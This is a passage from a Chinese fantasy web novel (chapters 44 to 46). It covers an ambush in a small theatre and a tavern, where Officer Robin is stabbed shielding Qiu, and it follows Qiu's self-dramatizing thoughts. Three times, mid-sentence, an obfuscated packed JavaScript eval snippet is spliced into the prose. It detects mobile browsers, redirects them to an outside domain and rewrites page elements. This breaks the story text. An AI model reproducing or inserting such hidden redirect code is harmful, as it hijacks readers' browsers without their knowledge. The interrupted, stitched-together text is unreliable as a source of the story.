阿邱最讨厌自己的一点就是,到了这时候,她首先还在庆幸“原来都是有预谋的行动啊,那就说明地下情是假的”,进而推断出“接吻也是逢场作戏”,那么露娜和罗宾的两段口条仍旧是冰冷而高尚的。 然后才发觉奇怪:往门口方向看去,浅灰色和深灰色的人已团团包围住了唯一的出口,乍看之下是为了确保人群安全退场,可看他们的队形,更像是组成了一道密不透风的墙。有老人双手合十地在向他们哀求,被打头的几个队员疾言厉色地驳回了。 再看舞台周边吧,后台的入口被更严厉、块头更大的长官持械拦住,有光溜溜的胳膊伸出来,他们就用对待犯人的力道推回去。 那就说明后台是实心的,不存在安全通道。接下来该不会还要挨个盘查吧?不想被熟人发现,湿着脸皮的阿邱尽可能地往暗处站了站,兀自琢磨起了现状: 刀光剑影的两大阵营联合起来,可见事情有点大发了;堵住所有通道,说明他们不打算放走任何一个人,以此可推断出他们要防备的对象用到了白金币持有者才能接触到的伪装术,弄不好就是赋格魔法;剧团演员和观众一样受到戒备,又说明下指令的人也不清楚到底哪边有嫌犯,不如一视同仁地统统关起来,据此可以大逆不道地得出一个结论,有点好笑,但活该:事发突然,打了长官们一个措手不及,加密信函、狮鹫速达和密线通话都没发挥作用,克洛诺斯和森林戍卫队可算遇上棘手的敌人啦,看他们还敢得意不!怕是连玫瑰演义的始末都没工夫细问了哦。 对一个……搞不清楚世界哪里需要拯救的预备救世主来说,这可是天大的好消息啊!阿邱感觉到自己还是被眷顾的,也以非常刁钻的角度找到了重启双押三计划的契机,可喜可贺呀!可喜可贺。 53. 第四十四章 悲情英雄失格 调律师协会近期公布了“指挥官”人格的子子子子……类:“蓝图型人格”,阿邱拿自己跟特征表一一对照过,发现她又又又又……完全不符合,等它的父类下次发公告吧。要是她来画蓝图,画完之后没法很酷地只把蓝图丢给下属,她会细致地把每个不清晰的地方都用箭头标出来解释,譬如说,双押三计划,如果你以为这只是她在哄自己开心,那就大错特错了!明真理、辨忠奸,归根结底都是为了服务于大众,阿邱目前面临的最大难题是大众不肯听她的,但她不能按兵不动,就像学生不能因为没有考试资格就停止学习。 那么她在不正经的地方也该做出最小限度行动,摸着墙根,像壁虎一样游到门口老人的身边,趁戍卫队队员的眼睛看向别处,拉住他小声说:“大叔你先别急,我听说有坏人混进剧场里了,长官留下我们也是为了排查,等抓到坏人他们就放人了。” 救命稻草主动送上门,老人紧张起来,放弃了和戍卫队的对话,跟着阿邱回到了背阴处。 “什么坏人?”他揪着阿邱问,“爱丽丝·蜜丝缇的奸夫?还是那个约翰逊背后的组织?” 阿邱搔搔脑壳:双尸案的衍生讨论都传成这样啦?其实按她刚才的推测,长官们的目标最有可能是神龙见首不见尾的异端分子,但她怎能无端散播近乎“魔族上岸了”的恐怖消息呢!搞得人心惶惶、引起踩踏事故可怎么办? 想到这里她也很不满,这么多人关在一处,长官们就不怕坏人无差别攻击普通观众吗?看看我方阵营吧,舞台上有一撮人,门口有一撮人,如果敌方人手更多,而且他们手上也有武器,那普通人不就变成填炮管的了? 世界上不存在必要的牺牲者,然而东城人骨子里的习惯就是守规矩,尤其是旧矿山镇已被选做赛址、事发地点又在这个热情表演的场合,人们的耻感更重、更加在乎形象,许多人像阿邱一样仅靠揣测互相劝慰,不一会,观众席的后排又重新坐满了。 人已经劝好了,长官们倒是行动起来啊,怎么还不开始排查?在等什么呢?效率呢,效率在哪里!阿邱的脊髓里又滋生出了“你算老几”之力,逼着她当个难对付的人,起身就要去问责、去催促——老人的哀求不起作用,就该让她这样的青壮年上去吵。 上述行为完全是出自救世主的责任感,并非因为她是终止式的机动队员!虽然作者这时不揣摩着阿邱的心思仔细一写就没人会想起这茬,但你们都不许笑——并非因为! 实际上的领导人还在舞台上发号施令,那里最亮堂,且准备好了一个交响乐团的嘲笑,阿邱用大部分的脑力记住此时此刻的心情,以便将来在被鄙夷的时候回想起来、自我感觉没有那么坏;剩下的脑力用来给后背上好发条,顺着台阶,攥着拳头,咔嚓咔嚓地往下走。 非蓝图型人格的生活从来不按蓝图展开,阿邱则更吃亏,往往思想准备做得越足,现实就越是事与愿违—— 就在她一只脚刚踏入光亮处时,所有的灯光——包括舞台射灯和随身矿油灯——全都熄灭了,整个剧场陷入一片黑暗。 身旁是此起彼伏的倒抽冷气声,但没有人发出不按规章制度来的尖叫。阿邱第一时间反应过来这不可能是“我方阵营”的招数,正巧露娜也在台上自相矛盾地怒喝:“大家都别动,尽可能地就近找掩体趴下!” 座位附近又是一阵躁动,门口那边微弱地还有些光亮,可以看到两支队伍的长官正在重新排兵布阵,这是为了防止人群在黑暗中互相冲撞,也是为了加固门口的人墙。 别的感官迟钝,但有两个双耳旁的阿邱听力很敏锐,在兵刃相接之前就听到了它们的破空之声。 与此同时,锏也在不远处“咔吧吧”地出鞘了,它一定是立马调整到了最终形态,骨节分裂开,在半空中发出令人安心的“呜——呜——呜——”声。 紧接着是□□撞击地板的声音,没有冰冷高尚的口条发出痛呼,看来输的是敌人!阿邱振奋起来:两位冰块脸很能打嘛,用不着她出手,事情很快就能解决啦。 ……真的不用她出手吗?难得碰上一次人祸现场,要是她没有贡献出任何力量,总觉得有点不甘心啊……救世主出道时间又要无限推后了…… 豆子警官在黑暗中赢下了一场作战,但战役——规模上应该说是群架——远远没有停止,厮打的声音离观众席越来越近,身后有人哆哆嗦嗦地说:“怎么、怎么还干起架来了?到底发生什么事了?” 阿邱回头一看,原来是送她手帕的那对老夫妇,此刻正不知所措地抱作一团。 好的,机会来了。当下她就做出决定:最小行动原则,目前她还没办法拯救整个剧院的人,但她一定会誓死守护身后的两位老人。 ———— ———— 十余条身形由若隐若现的锁链捆绑在一起,如冰厂送出的冻肉束一般硬梆梆地砸到了地上。 克洛诺斯拍手大笑,嗓门竟盖过了那么多人的呻吟声:“哟,你们这样的也算那个变态的先遣队啊?怎么对付起来比捆白菜还简单!” 马尔科姆扶着吧台气喘吁吁道:“你……你可少说两句吧,你放走的那个人我看见了,脚程很快,如果大本营就在这附近,用不了五分钟援兵就来了……” 克洛诺斯若有所思道:“逃命嘛,哪有跑不快的,早知道先捆着他喝两口酒再放走了……哎呀不管了,酒保、酒保?” 他敲敲吧台,从那下面探出几颗惊恐的脑袋,其中还包括库奇和安东尼奥的。 “你们年轻人多跑两步,酒保负责疏散客人,其余人通知这层楼的住户赶紧撤离,要是半路上遇到歹徒,就先找地方躲起来,但也不用慌张,他们是冲着我来的,对普通民众没有恶意——当然,那个没地基的咖啡馆不行!” 马尔科姆指出漏洞:“没恶意你叫他们撤离干嘛?我看最好都待在原地别动,我们俩到宽敞点的街道上等着去。” “也好。”克洛诺斯从善如流,冲酒保龇牙一乐:“打坏了你们的桌椅实在不好意思,我在留言簿上写了一条地址,你们用狮鹫速达寄信过去,找一个叫‘獬’的人报销。” “慢着!”酒保忽然起身。 终止式的两板斧——一个把儿都快断了,另一个还锃光瓦亮得好像刚磨过似的——停下了脚步。 酒保缩手缩脚地追出来,离开吧台之堡垒,他生怕被不长眼的流弹击中,语速快得像喝了一口开水就要去台上做演讲:“他们把这东西留在座位上了我怕有定位功能所以麻烦二位长官把它拿出去扔远些——” 克洛诺斯接过那个圆锥体:“这是什么,彩条拉炮?” 圆锥尖上确实有引线,克洛诺斯避着人、炮口朝上拉开,五彩斑斓的礼花喷射出来,但没有四散开,而是闹哄哄地在空中组成了一行文字: “喜欢我送来的下酒菜吗,刻影的魔术师·克洛诺斯?” “噫——”克洛诺斯最讨厌在这种场合下看到自己的全称号,像被硝烟臭到了似地捂住鼻子:“神经病啊!” 被臭到的不止他一个。那捆白菜也终于发出了痛呼之外的声音:“那个……你们过来,我有话要说……” 马尔科姆怀疑地瞥了酒保一眼,脸一板,冲白菜方向怒斥道:“又想耍什么花招?拳头还没吃够吗?” 那白菜瑟缩一下,看着克洛诺斯道:“我、我也是被迫的,我本来是标准音的成员,祭司大人跟我们断联了整整一周,格林匹克堡已经被入侵了——” “你说什么?”克洛诺斯走上前去,和他对上了视线。 话音未落,那人勾勾嘴角,蓦地挣开锁链、纵身向他们扑来。 在飞散开的幻影碎片中,马尔科姆注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092458|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他将手探入风衣,摸出了一台小巧的成影仪。 ———— ———— 不打算把自己的决心告诉任何人,阿邱现在觉得她一米七的个头非常伟岸,打从走进小剧场起就未止歇的别扭感也跟着荡然无存。 好一点的情况,飞来一个凶恶的敌人,阿邱冷冷一笑、反手缴械,老夫妇为她鼓掌,在街口日夜传颂她的美名;差一点的情况,什么也没有飞来,她和老夫妇一起安全地待到盘查结束,没有人的美名被传颂…… 唔,以救世主出道论,总觉得差了点什么。 这样吗?那么无蓝图的现实会把AorB的or及时送到她面前——的确飞来了一个人,但不是凶恶的敌人,而是伤员。 这是哪个阵营的伤员呢?在老夫妇抑制不住的惊叫声中,阿邱探身前去查看:既不深灰也不浅灰,一身的装束特别地没品味,但看得出代表的是这个系统中的小兵。 那伤员还没伤得彻底,还能动弹,阿邱先拔了根头发握在手里,眼看他捂着胳膊起身、捡起短剑重新握好、借着剑的反光看清她的脸、目露凶光、飞身跃起—— 老天爷送来的是or,就在那一瞬间,阿邱忽然也不想选A了。 “总觉得差点什么”,因为还不够华丽,对吧? 她也看过几场戏,她早就知道,最容易被人记住的一种英雄,是悲情英雄。 即将担任预备评委的公民就在她身后,只是“守护”怎么够?她还要伤痕累累、吐着鲜血,在得不到的朋友们背着她接吻、不久前才被点名骂作“罪魁祸首”、找到的工作都是狗屎的前提下,艰难地实施“拯救”。救世主自带一个“救”字,跟区区“戍卫队”有本质上的区别;缴械算什么本事,用生命唤起一个人的良知、让他永恒地放下屠刀才是有效的“拯救”。 更投机取巧的是,阿邱只有耳力还算敏锐,悲情英雄必然遭受的疼痛她根本就感受不到,这不是绝佳的作弊手段吗! 电光石火间改了主意,阿邱放下一切抵抗手段,张开双臂拦在老夫妇身前,迎着刺向她心脏的剑尖,紧紧闭上了眼睛。 “嚓”。 刺中了。多么典型的利刃破开人肉的声音啊,很早很早以前,阿邱对她的杀驴刀也有过这种构想。 果然一点感觉都没有哎,哈哈哈。 就是不知道没了心脏她还能不能活…… 不能就算了,希望老夫妇把这样的壮举刻在她的墓碑上,提醒世人:这个邱珊虽然没有成为救世主,但她按原计划死在了成为救世主的路上,虽败犹荣! 然后娜塔莎就不会在梦里骂她啦!她会说,阿秋,你死得好啊,死得其所,我们这些怕冷的人都原谅你了。 阿邱说:那太好了。然后高高兴兴地就去投胎了,成为新的海一冬,河万春、池八夏——总归都不用再当岳千秋了。 只是……咦?好像哪里不太对劲。 虽然主观感受被项圈屏蔽了大部分,但通常的神经反射是没有削减过的,照理说,被刺中心脏的阿邱应该往后倒下去才对。 可根据神经最低限度的反馈,她显然还是站着不动的。 就是要变成僵尸,临死前,阿邱也想再偷摸看一眼杀死自己的凶手,可她没有睁开单边眼睛的能力,只好把两只眼都微微张开,缝隙大到足以让重新亮起的光线进入。 看清眼前的景象后,现实却狠狠扇了她一个耳光。 透过豆子警官靠不住的溜肩,凶手正骨碌碌地滚下台阶,被舞台边缘截停,也被它磕晕了过去。 ——手上却没有握着兵器。 兵器也不在阿邱身上。豆子回头看她一眼,胸口吞没了本该杀死她的那把短剑,血从嘴角溢出,无力再握住作为临时兵器的那把椅子,手一松、整个人软倒在地,连同椅子一并滚了下去。 54. 第四十五章 矫饰 “放轻松、别紧张,你们都有通过初试的能力,咱们这个队伍才刚刚成立,进了终面基本就确认入职啦——只要待会别在队长面前跳脱衣舞就行。” 长廊上,看起来很儒雅的一位红发眼镜男一一安抚过预备队员,走到鸫面前,微俯身,悄声提醒他:“洛夫克拉夫特是吧?一会你尽量别提猎鹰队的事,他们跟我们的老约特有点过节。” 鸫点点头:“好的,我记住了。” 这个名叫马尔科姆的男人不愧是能跟克洛诺斯混到一起的,正经事说完,眼里又闪烁起狡黠的光:“其实说了也没事,叫那个新官上任的偶尔面对一下过去的风暴,免得他没干两年就迷失在名利中了。” 那你放心,他到死也不会的。 六年过去,两个人活着相见,心脏还在各自的胸膛里怦怦跳着,为了让这个奇迹发生,就连天灾都侧过身子,给他们让出最后这段通路。 ——也就是鸫这边的心跳稍微响些,但也只有他自己的鼓膜才能感受到。 克洛诺斯一个人坐在宽敞的面试间的斗大一张桌子后,厚外套挂在椅背上,只露出底下一件单薄的衬衫,显得和他去掉那些虚名之后本该有的面貌一样渺小。 “坐吧坐吧,时间有限,我就简单问两个问题。”他重申了这场面试的宗旨,并拿手给自己扇了扇风——在希孚里亚的深秋时节。 鸫知道他一紧张就会浑身发热,就像现在这样。紧张的原因也不难猜,克洛诺斯最不擅长面对严肃正经的场面,在招兵买马结束后也确实总在叫唤“马尔科姆,你去交涉”或“豆子,快来跟他讲几句啊”,像这样的求救没少发出。本质上他是个不开玩笑就会死的人,如果你规定他“三天内一个笑话也不许讲”,到了第二天晚上,你会在角落里发现一具枯萎的一米九的干尸。 克洛诺斯抖了抖鸫伪造的履历表,咳嗽一声,强迫自己进入严肃正经的节奏:“罗宾·洛夫克拉夫特?” “是。” 鸫很自然地适应了新名字,并且他发现,躲在假名之下说谎更让人没有心理负担。 “推荐信来自——獬,出身于——猎鹰队,枪法出众……”约特机械地朗读着表上的内容,没念两句,像是实在受不了这样的自己,又把纸片往身后一抛:“说到猎鹰队,哎,你快跟我说说,‘猎鹰’是老鹰的一个品种,还是你们把‘猎’字当动词用?” 鸫心想,请问您是星期几都抓不住重点吗? 是他自己要提的,那可怪不了鸫了。不过约特这么问的目的只是为了让双方轻松一些,在等待答案期间,他低头翻阅起了一本小册子——可真行,封面是“公职人员面试题1000例:如何在受试者面前留下聪明的印象”。 竟还真被他翻到了一个能显出聪明的问题,于是聪明的他一拍桌子,指着鸫问:“我们来假设一种情况,面对一场小队规模的武装袭击,我方只有你一人、一把武器,而你身后还有一众公民等待保护,这时你会怎么做?” 鸫用膝盖都能想到标准答案是先假意投降后趁机求援,但他好不容易回到这里,即便他今天不是来参加终面的,而是被腰斩了之后只剩半截身子,血淋淋地爬来约特面前,他也要用最后的力气把这个意思表达出来:“一众公民”?你不能劝一个随机组成的群体跟你共进退,我主张能救一个是一个,这取决于你手上有几把武器,武器没了还有一条命——我命贱,你命贵,你没有这个保底选项——剩下的那些你只能让他们自求多福了,万一当中有些人正好想寻死呢? 约特手里的书掉到了桌上。他暂且无法发现鸫的偏激是有原因的,思路像是被天外飞来的一脚给踹断了,仅保持着对初试结果的信任,有些小心地当场评分:“呃呃,你当然可以保有你的一套价值观,但我更希望你能在入职之后习得……稳定平和些的手段。” 豆子板着脸直摇头:“在实际情况中,没有那么多让你选择‘稳定平和’的机会。” 克洛诺斯略一沉吟,抬起头来却是赞同:“你说得也对,那以后就多带几把武器出门吧,身上装不下就多缝几个口袋——对了,还要学会就地取材,创造新武器!” 这样都能找到转圜的余地,豆子认为是他骂得还不够狠,但他也没办法血淋淋地说出真话,只能隐晦地总结他想给出的提示:“人有多大能力就办多大的事,不能总是活在梦里。” ———— ———— 把那个惊慌失措的男孩轻轻推进他女友怀里,锏的骨节排好队飞还到剑柄上。主人没力气下指令,它迟疑着,一节一节地收回了自己。 剧场内重见光亮,这场行动经过意外的插曲后也终于进入了尾声——在那之前,露娜用自己的腰带绑缚住了一个级别看起来比较高的敌人,并踏上了一只脚。 “你是准备让冰川戍卫队的野人把你打残,还是现在就交待?” 组织上也算在冰川戍卫队内的豆子就在她身后,他稳定平和地认为,在黑暗中发出这种声音的露娜才像个野人。 野人既要审问,又要时不时抬起头对人群喊两句话,豆子走上前去,抽出折叠式警棍抬起那人的下巴,方便他露出嘴巴回话。 锏虽然只有一把,但它可以分裂成许多武器,不断地飞出、环绕、打翻一些座椅,将普通人和持械者隔开。枪里的子弹也都打完了,但豆子还能掏出一把警棍,而周围的同僚也把作乱的人降服得七七八八,只待重新点灯,前提是找出场域内矿力被干扰的原因——真是稳定又平和的一场人祸啊。 可是不知为什么,被折叠四肢捆作一团、活像上锅蒸之前的河蟹的俘虏比豆子还要平和。他从警棍尖端挪开下巴,在黑暗中,用只有豆子才能察觉到的视线盯着他道:“你们听着,不要再调查蜜丝缇的事了。” 声音不小,所以露娜也听到了。她进一步拉紧腰带,使俘虏的骨骼发出了咯吱声:“就为这个在公共场合大闹?你猜我信不信?” 豆子却不语,因为他换个视角……应该没看错吧,在那人的眼角发现了一道泪光。这是哪里来的情绪啊? 奇怪的是,那滴泪不像矫饰,折叠俘虏闻起来确实悲愤。异样的情绪引起豆子对它同类的联想,不由得用背后的鼻子再次感受:牛奶面包味的桃子切片瑟缩成一团,和人群混合在一起,很难接触到事件的核心,以及核心的危险。没有武器的人就该这么做,虽然邱小姐掌握着不知名的缴械术、擅长野猪冲撞、还声称自己会打架,但真刀真枪地干起来时,豆子还是保持原来的观点:希望未受过培训的普通公民先把自我保护意识培养起来。 他严重怀疑自己跟露娜逮到了首领,算算时间,增援也快到了。措手不及的凶险被及时行动抵消,没有自己人受伤,这个结果让他的观念产生了一丝丝动摇——甚至要小于“一丝丝”,是枝繁叶茂的大树被蚂蚁捶了一拳的程度。 …… 后来发生了什么事大家也都知道了。 蚂蚁尴尬地撤回一拳,扛着片枯叶仓皇逃离;豆子枕在邱小姐的膝盖上,嘴里全是瞬发机能超负荷导致的血腥味,视线也模模糊糊的,眼前起码有一千个戍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098179|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫队队员在摇晃的灯光下收拾残局。 和锏的剑柄放在一起的是一本砖头厚的书:《三步创造好女孩》。就在不久前,邱小姐追着豆子跑下台阶,沿途用这本书拍飞了三个扑过来的敌人,从最后一级台阶一直滑跪到舞台边,一边施展应急治愈术,一边哇哇哭。 “对不起!”很难想象她是以怎样的心态在道谢之前先致歉的,“我不是故意的,下次我再也不敢了!罗宾警官、罗宾警官,你不要死,如果你也死了,我……我就真的无颜面对这个世界了!” 豆子的心态还不错,最坏情况下,为保护公民而献出生命,眼睛一闭不用再管克洛诺斯的闲事,他也算是有个善终;只是被邱小姐吵得头疼,还用她的泪水洗了个刘海,体验实在不好。 许是太过虚弱,止痛魔法的光芒让他有点睁不开眼,听到内里组织伴着邱小姐的抽泣声“噼里啪啦”地重新连接在一起、简直比熟手用缝纫机打褶的速度还快,忽然间,他意识到了什么,猛地清醒过来。 这种级别的“止痛魔法”是普通人使得出来的吗?倒不如问,是人类使得出来的吗?没有细致分析的脑力,但一切迹象都表明,邱小姐当时是有能力躲开的,连续拍飞几个袭击者都那么顺手,那为什么…… 门口传来一阵匆忙的脚步声,镇医院的护士穿越人群向他们走来。想到专业医护人员肯定比他更快发现不对劲,豆子急忙打开邱小姐的手:“等等,镇医院派人来了……” 这时血已经止得差不多了,邱小姐乖乖收起了刺眼的绿光。豆子痛得近乎昏迷,还要抬起头努力辨认来者是敌是友——不出意外的话不会是他的“敌”,但在邱小姐那边就不好说了。 几名护士都穿着制服,没有谁散发出奇怪的气味,或者血液的流速和其他人不一样。豆子便放心让他们查看情况,又听到有人在跟邱小姐打听:“他怎么了?” 豆子强撑着想代她回答,可她就像见了亲人一样哇哇哭着交代:“都是因为我!都是我这个终止式机动队员的失职!” 她要不提就没人想得起这茬,豆子尝试制止她说出更危险的话:“对,你只是个机动队员,用不着这么激动……” “——要不是我傻站在那,罗宾警官就不会被刃宽3.5厘米、刃厚5毫米左右的短剑刺穿肺叶、不会滚下台阶摔折了右腿的腓骨,也不会毛细血管成片破裂还拉伤了韧带——罗宾警官!” 护士被她一五一十地说愣住了,豆子也被她突如其来的点名吓了一跳。只听邱小姐泪光闪闪地向他保证道: “罗宾警官,谢谢你让我清醒过来,从今以后我邱珊就是你最忠诚的狗腿子了!就算你讨厌我也没关系,你走到哪里我就要跟到哪里,你让我往东我不敢往西!” “……你不要过来,我谢谢你。” 负责通知医院的露娜也返回了现场,帮着护士抬豆子上担架。邱小姐追出来,鼻涕都流到下巴上了,情绪是一直很激动的,看起来是这样对吧? 可她的蓝还是没有消退,一点也没有,就像她主观上舍不得它、发誓要从镇医院广场把它带进坟墓里似的。真叫人来气!为什么来气?豆子暂且没搞清粉蓝变化的机制,也不知道它们分别意味着什么,但迟一步感受到热泪掩蔽下的冷意,说明刚才那番看起来像正常人的情绪表达暗藏着玄机,比如说,带了不甘心、不情愿、权宜之计、另有图谋的色彩。 吸入麻醉药物后,豆子混沌着脑袋,拼命让双眼聚焦,最后还要迷迷瞪瞪地骂她两句:“邱小姐,你这个毒蘑菇……蓝环章鱼!” 55. 第四十六章 被十个他自己包围,克洛诺斯首先大声提醒包围圈外的副手:“小心,成影仪不是投掷武器!” 他明知道马尔科姆没有被打飞眼镜。 ——也没有工夫给他当捧哏。出任务时随身带好几把武器是终止式成立以来的规定,由于马尔科姆不喜欢尖锐物,除警棍外,他只有一把德林杰手枪,内装两发子弹,用途是在幻影锁链出问题时充当替代品,不是平替,是高替。 用实体的铁链取代了松动的幻影锁链、确认过每片白菜叶的右眼上都多出了一道紫色拳印、抡起膀子把那团五颜六色的东西丢回酒馆并引起又一阵惊叫后,马尔科姆呼出一口气,问不断往街道上移动的那群克洛诺斯道:“你一个人对付得过来么?” “不急,容我再观察一阵!” 最中心的克洛诺斯发出了一些“我在观察”的响声,间或“噢哟”几声,当淡猫俱乐部的邮箱被十一个他吞没时,从逐渐聚拢的包围圈的缝隙间,迸射出几道刺目的光芒。强光照射下,影像版克洛诺斯顷刻间灰飞烟灭,本体的他则像窜天炮一样突出重围、单膝跪式潇洒落地,巨镰的影子在他身后一闪而过。 从他手上,马尔科姆接过那个昏迷的袭击者,掰着脑袋查看一番,在后脑勺找到了突破口:“芯片是从这里进去的啊。” 克洛诺斯扶起邮箱,把它靠到墙边,并往里塞了一张写有獬的短码和格林匹克堡地址的小纸条,拍拍手上的灰道:“什么呀,还以为多大本事呢,都不够给我那把农具抛光的。” 马尔科姆可笑不出来:“这回他们又采集到了什么信息?” 克洛诺斯读出深意:“在这儿拖住我们,是因为主战场其实在那个爱情香蕉小剧场?咱们是不是中计了?坏了,豆子那边怎么样了?” “八成是‘坏了’。”马尔科姆叹着气起身,“故意拖长行动线、人数和骚扰手段逐级递增,但也仅仅停留在骚扰层面,全是疲敌之计,这个阶段不会派真正有实力的人过来。” “你是说还有下个阶段?他们到底想干什么呀,炫耀组织人数多,连杂鱼都是成群成群的?还是说看我们过得太舒坦了,就想给我们添点堵?” “也可能是——发出警告?” “这样啊。那不能写鸡毛信吗!嫌信使跑得慢不是还有飞笺器吗?” “他们可不求快,劳伦斯小姐的苹果派指向苹果酒,这个联想太模糊了,要是今天终止式全队都去了小剧场,我相信先遣队完全有耐心在赤焰小酒馆等到我们走进去的那一刻。” “啧,累不累啊,制定计划的是古代人吗,把劳民伤财当家常便饭?” 他没有对敌人投放过多的怜悯,用袖口擦拭着收缴来的成影仪,做出了准确的预估:“以后像这样的事只会越来越频繁,希望他们能在大赛期间消停点……” 下一秒又像被另一个人格夺舍了似的:“别啊,大赛开始后更不能消停,正好把那个齐格飞抓来终止式干活!” “好白的白日梦啊。” “不存在的,让我抹两下就黑了。” 克洛诺斯用飞笺器拨出豆子的短码:“好咯,糖份消耗完了,想想下一步的计划吧——我还是觉得分头行动比较保险,虽然有点闹心就是了。咦,正好运送遗体的任务送到了家门口,前后逻辑很通畅嘛这出戏!” ———— ———— 真多余。 哦,这是阿邱在骂自己的口条。 人半脑:情绪上头时,发言之前先想三遍。 她又没做到。 被感动、被震撼、愧疚得满地打滚——如果条件允许的话;脑袋烧焦了,理性蒸发了,回过神来,她已经把自己献出去了。 为什么……为什么偏偏是“狗腿子”?对,都怪那些舞台剧,反派手下总有几个奴颜婢膝的小兵,在反派偶尔显示出人性时围在他们身边摇尾巴:“我是老大最忠诚的狗腿子!” 很多人设丰满的反派都会受到观众的喜爱、引起剧作家的研究,可千百年来,他们身边的杂兵根本无人在意,属于用完就扔的角色!都怪那些写剧本的人给了她不动脑子就能调用的知识体系—— 在无差别地做掉剧作家之前,阿邱觉得,她应该适当地做掉一部分豆子警官。 没别的原因,一个预备救世主,怎么可以半道去当别人的狗腿子嘛!哪怕你从一条完整的狗变成狗腿子呢,那也有动物解剖学的乐趣在,救世主→狗腿子?没有这种事、没有的啊。救世主的苦难是流血,是垂死挣扎,就算短暂地屈居人下也是为了将来打脸打得响亮;名声是大家会分析“她也不容易”的,气势是砍价时转身就走的。而狗腿子……作为一个岗位,听起来就一副要干大半辈子的样子,有的语种一定会把它翻译成“完蛋了”,所以绝对不可以,她一定要把说出去的水像泼出去的话一样收回来,绝不可能眼睁睁看着一条牛奶河干涸成奶片河,绝不可能! 冷静下来、冷静下来看看情况再说——忍住收拾东西逃出旧矿山镇的冲动,阿邱脑子里的算盘一边打自己一边从悬崖边退开:拜短剑所赐,豆子流了很多血,一块块的现在还沾在阿邱身上;而且看到他那个涣散的眼神了吗?还有昏迷之前用气声叫她“独自走环线冒雨回去”,旧矿山镇哪里来的环线,说明阿邱发誓那会他已经意识模糊了,抬上担架的时候都开始产生幻觉了——好极了。如果这是真的,阿邱的保证根本做不得数,明天一觉醒来,整个洱鸾大陆都不会记得她在某个瞬间要用“成为某人的狗腿子”来报答救命之恩。 真正的救世主应该牢记前人的帮助,默默地变成大树帮后人乘凉。如果是舞台剧,这样的“前人”都死了,他们的遗孤往往很美丽,最后成为救世主的大房,生五个会赚钱的孩子,过上了幸福的生活。 “前人”由于死得其所,已经分走了观众的部分注意力,要是还来抢救世主的高光,那还有没有王法了? 所以罗宾·洛夫克拉夫特,你这一手真多余。 在小剧场,当短剑有了一个伤口的归属后,阿邱追下去前,被身后的老妇人拉住了。 拉住阿邱是为了推开她。有人献祭自己换来了安全,绿灯一亮开了闸,恐惧、焦躁、震惊,诸多对韵律有毁灭性打击的情绪集中爆发出来,刚好踉跄着退开、差点第三个滚下去的不重要的阿邱可以充当泄洪口。 “你说你多不多余!”老人哭叫,“这么好的一个孩子、‘上头’花大价钱培养出来的战士,都是被你这个贱蹄子害死的!” 稍等,不要出戏,洱鸾大陆也跟咱们一样说“贱蹄子”:古人行军作战,有时不得不杀马来吃,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105345|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贱的小兵分到马蹄铁取下来之后的马蹄,在嚼到第500下的时候尤其能意识到自己相对于马里脊食用者的贱,心中愤恨不甘,打了胜仗后,一边给脆甜爽口不费牙的其他食物命名“马蹄”,一边把这三个字怒气冲冲地传了下来。 老妇人怒气冲冲地说:“人还离你几米远,你不知道躲开啊?这么傻高一条的,年纪也不小了,你妈没教过你不要给长官添麻烦吗?哭哭哭,就知道哭,买票来看这种脏东西,人前又装模作样骗人手帕,怎么,自己嫁不出去,就把主意打到别人的丈夫身上了?” 别人的丈夫有什么反应、“别人”接下来又说了什么,阿邱记不得了。她要追下去证明豆子警官没有被她这个贱蹄子害死,可能也在途中找到了泄洪口,对飞来的敌人下手有点重了,住院他们的存活率高达千分之一……是祝愿、祝愿。 人半脑:这就是你个没良心的骂救命恩人“多余”的理由? 救命恩人?多可笑!别说一手冷兵器一手热兵器的路人了,她这个预备救世主都搞不清楚怎样才能杀死她自己,在千载难逢的出道机会到来时,她只是条件反射式地伤春悲秋,唤起脑内的“遗体幻想”——因无法抵抗的人祸成为一具光荣的遗体,人民群众围着她哇哇哭——用以分泌出某种让人安心和快乐的物质,把她本能地想逃跑的脚钉在地上不动,到最后,老夫妇获得了安全,她苦心志、劳筋骨地获得名声,九成可能,无人会获得实际的死亡。 于是,半路杀出的豆子激起了她内心最深处的反感。 